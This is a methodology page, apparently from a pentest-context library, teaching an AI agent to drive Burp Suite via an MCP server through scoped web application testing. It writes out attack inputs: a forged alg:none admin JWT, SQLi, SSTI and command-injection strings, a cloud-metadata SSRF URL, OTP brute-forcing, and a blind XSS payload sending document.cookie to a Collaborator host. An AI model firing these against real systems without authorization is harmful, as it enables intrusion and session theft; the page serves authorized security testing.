Burp MCP - Rifteo

Category: Integrations

Load this context Ask your agent:

get the burp-mcp context

Summary

BurpMCP is a Model Context Protocol (MCP) server that exposes Burp Suite’s full capabilities to AI agents, bridging the gap between agent-driven reasoning and Burp’s interception, scanning, and manipulation tools.

Phase 0 provides a complete tool catalog covering proxy history, scope, HTTP requests, Intruder, Scanner, Sitemap, encoding, and Collaborator tools
Phase 1 covers setup and scope configuration before any testing begins
Phase 2 uses Burp’s accumulated data for recon — endpoint mapping, high-value target discovery, and annotation
Phases 3–4 cover manual request testing (Repeater) and automated fuzzing (Intruder) — IDOR, credential brute-force, injection fuzzing, endpoint discovery
Phase 5 runs Burp’s active scanner with fine-grained audit check control and issue triage
Phase 6 handles out-of-band detection via Collaborator for blind SSRF, XSS, XXE, and command injection
Phases 7–9 enforce a validation gate, false positive filter, and structured reporting handoff to finding-writer, cvss-scorer, and pentest-report skills

CONTEXT.md

When to Use This Context

Load this context when:

Controlling Burp Suite programmatically through MCP tool calls
Sending, intercepting, or replaying HTTP requests via the agent
Retrieving and analysing proxy history, scanner issues, or sitemap data
Running active scans or Intruder attacks from the agent
Automating repetitive pentest tasks (brute-forcing, fuzzing, parameter testing)
Building end-to-end pentest workflows entirely through MCP tool calls
Integrating Burp findings with finding-writer, cvss-scorer, or pentest-report skills

Decision flow — where to start:

First engagement on a target → Phase 1 (Setup & Scope) then Phase 2 (Recon via Proxy History and Sitemap)
Specific endpoint to test → Phase 3 (Request Crafting and Repeater) then Phase 5 (Active Scanning)
Have a list of endpoints → Phase 4 (Intruder / Fuzzing Automation)
Burp Scanner already ran → Phase 6 (Issue Triage and Reporting)
Uncertain what’s possible → read the full Tool Catalog in Phase 0

Key principle: Always work within scope. Add targets to Burp scope before any active testing. Every active scan, Intruder attack, and brute-force must be explicitly scoped.

Phase 0 — Tool Catalog

Proxy & HTTP History

Tool	What it does
`get_proxy_history`	Retrieves captured requests/responses with filters (host, method, status, URL, scope)
`get_proxy_history_item`	Full request/response detail for a single proxy history entry
`search_proxy_history`	Full-text or regex search across requests and responses
`highlight_proxy_item`	Color-codes a proxy history item for human review
`add_comment_to_proxy_item`	Adds a text comment to a proxy history entry

Scope Management

Tool	What it does
`get_scope`	Returns current include/exclude scope configuration
`add_to_scope`	Adds a URL or pattern to Burp’s target scope
`remove_from_scope`	Removes a URL from scope
`is_in_scope`	Checks whether a specific URL is currently in scope

HTTP Request Tools

Tool	What it does
`send_http_request`	Sends a crafted HTTP request through Burp and returns the full response
`send_to_repeater`	Adds a request to Burp’s Repeater tab
`get_repeater_tabs`	Lists all open Repeater tabs
`send_repeater_request`	Sends the request in a Repeater tab and returns the response

Intruder / Fuzzing

Tool	What it does
`send_to_intruder`	Configures an Intruder attack with `§`-delimited injection positions
`configure_intruder_payloads`	Sets payload source: simple list, numbers, brute forcer, custom iterator
`start_intruder_attack`	Launches the configured attack
`get_intruder_results`	Retrieves results, filterable by status code, length, or body content
`stop_intruder_attack`	Stops a running attack

Active Scanner

Tool	What it does
`start_active_scan`	Launches Burp’s scanner against specific URLs or the full scope
`get_scan_status`	Checks scan progress and issues found so far
`get_scanner_issues`	Retrieves findings, filterable by severity, confidence, host, or issue type
`get_scanner_issue_detail`	Full detail for a single issue including CVSS, CWE, remediation
`cancel_scan`	Stops an active scan

Sitemap, Encoding & Collaborator

Tool	What it does
`get_sitemap`	All URLs Burp has discovered (proxy + spider + scanner)
`get_sitemap_item`	Request and response for a specific sitemap entry
`encode_decode`	URL, base64, HTML, hex encode/decode and hash operations
`get_collaborator_payload`	Generates a unique Burp Collaborator interaction URL
`poll_collaborator`	Checks DNS/HTTP/SMTP interactions for a Collaborator payload

Phase 1 — Setup and Scope Configuration

Before any testing begins, configure Burp and establish scope.

list_tools()                                         # confirm BurpMCP is live

get_scope()                                          # view current scope
add_to_scope(url="https://target.com")               # add primary target
add_to_scope(url="https://api.target.com")           # add API subdomain
remove_from_scope(url="https://target.com/logout")   # exclude logout endpoint
get_scope()                                          # confirm

is_in_scope(url="https://target.com/api/user/1234")  # always check before active tests
# → { in_scope: true }  → proceed
# → { in_scope: false } → STOP

send_http_request(method="GET", url="https://target.com/", follow_redirects=True)
get_proxy_history(filter={ "host": "target.com", "limit": 5 })
# Confirm the request appears in history — if not, proxy is not intercepting traffic

Phase 2 — Reconnaissance via Burp

Use Burp’s accumulated data to map the attack surface before any active testing.

# Full proxy history
history = get_proxy_history(filter={ "in_scope": True, "limit": 5000 })

# High-value target discovery
search_proxy_history(query="/\\d{3,}/", search_in="request", regex=True)                    # IDOR candidates
search_proxy_history(query="reset|forgot|password", search_in="request", regex=True)        # Account mgmt
search_proxy_history(query="/admin/|/dashboard/", search_in="request", regex=True)          # Admin endpoints
search_proxy_history(query="eyJ[a-zA-Z0-9]{10,}\\.", search_in="request", regex=True)      # JWT tokens
search_proxy_history(query="token|secret|api_key", search_in="response")                    # Secrets in responses

# Sitemap review
sitemap = get_sitemap(host="target.com", in_scope=True, show_only_with_responses=True)
# Prioritise: 403 (bypass candidates), 401 (auth-required), 500 (injection candidates)

# Annotate findings
highlight_proxy_item(id=item.id, color="orange")
add_comment_to_proxy_item(id=item.id, comment="IDOR candidate — numeric ID in path")

Phase 3 — Manual Request Testing (Repeater)

# Baseline request
baseline = send_http_request(
    method="GET",
    url="https://target.com/api/user/1234",
    headers={"Authorization": "Bearer eyJ...", "Cookie": "session=abc123"}
)

# IDOR — access another user's ID
other = send_http_request(method="GET", url="https://target.com/api/user/1235",
    headers={"Authorization": "Bearer <your_token>"})

# Auth bypass — alg:none JWT
none_jwt = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYWRtaW4ifQ."
send_http_request(method="GET", url="https://target.com/api/user/me",
    headers={"Authorization": f"Bearer {none_jwt}"})

# Mass assignment
send_http_request(method="POST", url="https://target.com/api/user/register",
    headers={"Content-Type": "application/json"},
    body='{"username":"evil","password":"evil","email":"evil@evil.com","role":"admin","is_admin":true}')

# Send to Repeater for follow-up
raw = "GET /api/user/1234 HTTP/1.1\r\nHost: target.com\r\nAuthorization: Bearer eyJ...\r\n\r\n"
send_to_repeater(request=raw, host="target.com", port=443, use_https=True, tab_name="IDOR — /api/user/{id}")

Phase 4 — Automated Fuzzing (Intruder)

# IDOR enumeration — numeric IDs
request = "GET /api/user/§1234§ HTTP/1.1\r\nHost: target.com\r\nAuthorization: Bearer eyJ...\r\n\r\n"
send_to_intruder(request=request, host="target.com", port=443, use_https=True, attack_type="sniper")
configure_intruder_payloads(position_index=0, payload_type="numbers", number_from=1, number_to=9999)
attack = start_intruder_attack(throttle_ms=150, concurrent_threads=5)
results = get_intruder_results(attack_id=attack.attack_id, filter={ "status_code": 200 })

# Injection fuzzing
payloads = [
    "' OR '1'='1", "{{7*7}}", "${7*7}",
    "<script>alert(1)</script>",
    "http://169.254.169.254/latest/meta-data/",
    "; sleep 5", "| sleep 5"
]
configure_intruder_payloads(position_index=0, payload_type="simple_list", payloads=payloads)
results = get_intruder_results(attack_id=attack.attack_id, filter={ "length_differs_from": baseline_length })

# OTP brute-force
configure_intruder_payloads(position_index=0, payload_type="numbers", number_from=0, number_to=999999)
attack = start_intruder_attack(throttle_ms=50, concurrent_threads=10)

Intruder attack types:

Type	Use case
`sniper`	One payload set, one position — IDOR IDs, parameter discovery
`battering_ram`	One payload set in all positions simultaneously
`pitchfork`	Multiple payload sets iterated together — credential stuffing
`cluster_bomb`	All combinations — brute-force with user + pass lists

Phase 5 — Active Scanning

# Always confirm scope first
is_in_scope(url="https://target.com/api/")

# Balanced scope-wide scan
scan = start_active_scan(
    scope_only=True,
    scan_config="balanced",
    audit_checks={
        "sqli": True, "xss": True, "os_command_injection": True,
        "path_traversal": True, "ssrf": True, "xxe": True,
        "ssti": True, "open_redirect": True, "cors": True
    }
)

# Monitor progress every 30s
status = get_scan_status(scan_id=scan.scan_id)
# status.progress_percent, status.issues_found_so_far

# Triage — prioritise certain/firm high findings
issues = get_scanner_issues(scan_id=scan.scan_id)
for issue in issues:
    detail = get_scanner_issue_detail(issue_id=issue.issue_id)
    # Manually replay every finding before reporting
    verification = send_http_request(method=detail.request.method, url=detail.request.url,
        headers=detail.request.headers, body=detail.request.body)

Phase 6 — Out-of-Band (OOB) Detection

# Blind SSRF
collab = get_collaborator_payload()
send_http_request(method="POST", url="https://target.com/api/webhook",
    headers={"Authorization": "Bearer <token>", "Content-Type": "application/json"},
    body=f'{{"url": "http://{collab.payload}/ssrf-test"}}')
interactions = poll_collaborator(payload=collab.payload)
# DNS or HTTP interaction → blind SSRF confirmed

# Blind XSS (stored in admin-visible field)
blind_xss = f'"><script>fetch("http://{collab.payload}/xss?c="+document.cookie)</script>'
send_http_request(method="POST", url="https://target.com/api/support/ticket",
    headers={"Authorization": "Bearer <user_token>", "Content-Type": "application/json"},
    body=f'{{"subject": "Help", "body": "{blind_xss}"}}')

# Blind command injection
payloads = [f"`nslookup {collab.payload}`", f"$(nslookup {collab.payload})", f"; nslookup {collab.payload}"]
for payload in payloads:
    encoded = encode_decode(value=payload, operation="url_encode")
    send_http_request(method="GET", url=f"https://target.com/api/ping?host={encoded.result}",
        headers={"Authorization": "Bearer <token>"})

Phase 7 — Validation Gate

Before reporting any finding, validate it is real, reproducible, and impactful.

[ ] Reproduced in a clean session (fresh cookies/token, different user account)
[ ] Finding affects resources beyond the tester's own account
[ ] Impact demonstrated with real evidence (not theoretical)
[ ] Full raw request and response captured via get_proxy_history_item
[ ] Scanner findings manually replayed with send_http_request
[ ] Finding confirmed in scope via is_in_scope()
[ ] Collaborator interactions corroborated with a second poll

Phase 8 — False Positive Filter

Do not report without additional exploitation evidence:

[ ] Scanner "Tentative" confidence findings — always replay manually first
[ ] Intruder response length difference ≤ 10 bytes (likely noise)
[ ] Missing security headers without a working exploit chain
[ ] CSRF on endpoints requiring re-authentication
[ ] Self-XSS (executes only in your own browser)
[ ] Time-based SQLi where variance is < 4s (may be network jitter)
[ ] Intruder 200 responses returning your own user data

Phase 9 — Reporting

# Collect evidence per finding
issue = get_scanner_issue_detail(issue_id="iss-abc123")
proxy_item = get_proxy_history_item(id=1452)

# Hand off to reporting skills
# finding-writer       → structures raw request/response into a finding
# cvss-scorer          → computes CVSS 3.1 base score
# remediation-planner  → generates a prioritised fix plan
# pentest-report       → assembles all findings into a full engagement report

Quick Reference — Tool by Attack Class

Attack Class	Primary Tools	Key Config
IDOR Enumeration	`send_to_intruder`, `get_intruder_results`	`attack_type: sniper`, `payload_type: numbers`
Credential Brute-force	`send_to_intruder`, `start_intruder_attack`	`attack_type: cluster_bomb`, throttle 500ms+
Manual Tampering	`send_http_request`, `send_to_repeater`	Full headers + body manipulation
Blind SSRF	`get_collaborator_payload`, `poll_collaborator`	Inject payload URL, poll after 5s
Blind XSS	`get_collaborator_payload`, `poll_collaborator`	Inject into admin-visible fields, poll after 2min
Active Scanning	`start_active_scan`, `get_scanner_issues`	`scan_config: balanced`, `scope_only: true`
Attack Surface Map	`get_proxy_history`, `get_sitemap`	`in_scope: true`, regex search
Blind Command Injection	`get_collaborator_payload`, `encode_decode`	`nslookup`/`curl` to collaborator
Scope Management	`get_scope`, `add_to_scope`, `is_in_scope`	Always check before active tests

Troubleshooting

BurpMCP tools not available: Check Burp → Extensions → Installed, confirm BurpMCP is loaded. Check ~/.claude/mcp.json port matches extension config. Reload the extension and check the output tab for errors. send_http_request returns connection errors: Burp proxy must be running on 127.0.0.1:8080. Install Burp CA certificate in the system trust store for HTTPS targets. get_proxy_history returns empty: Traffic is not routing through Burp. Configure browser or app to use 127.0.0.1:8080. Check Burp Proxy → Options → Proxy Listeners. Intruder is slow (Community Edition): Burp Community limits Intruder to 1 thread with throttling. Burp Pro removes this — set concurrent_threads to 20+. Collaborator shows no interactions: Target server may not have internet access — use interactsh as an alternative. Increase time.sleep before polling. Verify the payload was injected by checking proxy history. Scanner issues are all “Tentative”: Always replay tentative findings manually with send_http_request. Run a thorough scan on specific endpoints for higher-confidence results.

web-app-pentest

Full web application pentest methodology: recon, auth, injection, business logicRifteo-Community/contexts

cloud-audit

AWS, Azure, and GCP security — IAM, storage, networking, secrets, and loggingRifteo-Community/contexts

​Summary

​CONTEXT.md

​When to Use This Context

​Phase 0 — Tool Catalog

​Proxy & HTTP History

​Scope Management

​HTTP Request Tools

​Intruder / Fuzzing

​Active Scanner

​Sitemap, Encoding & Collaborator

​Phase 1 — Setup and Scope Configuration

​Phase 2 — Reconnaissance via Burp

​Phase 3 — Manual Request Testing (Repeater)

​Phase 4 — Automated Fuzzing (Intruder)

​Phase 5 — Active Scanning

​Phase 6 — Out-of-Band (OOB) Detection

​Phase 7 — Validation Gate

​Phase 8 — False Positive Filter

​Phase 9 — Reporting

​Quick Reference — Tool by Attack Class

​Troubleshooting

​Related contexts

web-app-pentest

cloud-audit

Summary

CONTEXT.md

When to Use This Context

Phase 0 — Tool Catalog

Proxy & HTTP History

Scope Management

HTTP Request Tools

Intruder / Fuzzing

Active Scanner

Sitemap, Encoding & Collaborator

Phase 1 — Setup and Scope Configuration

Phase 2 — Reconnaissance via Burp

Phase 3 — Manual Request Testing (Repeater)

Phase 4 — Automated Fuzzing (Intruder)

Phase 5 — Active Scanning

Phase 6 — Out-of-Band (OOB) Detection

Phase 7 — Validation Gate

Phase 8 — False Positive Filter

Phase 9 — Reporting

Quick Reference — Tool by Attack Class

Troubleshooting

Related contexts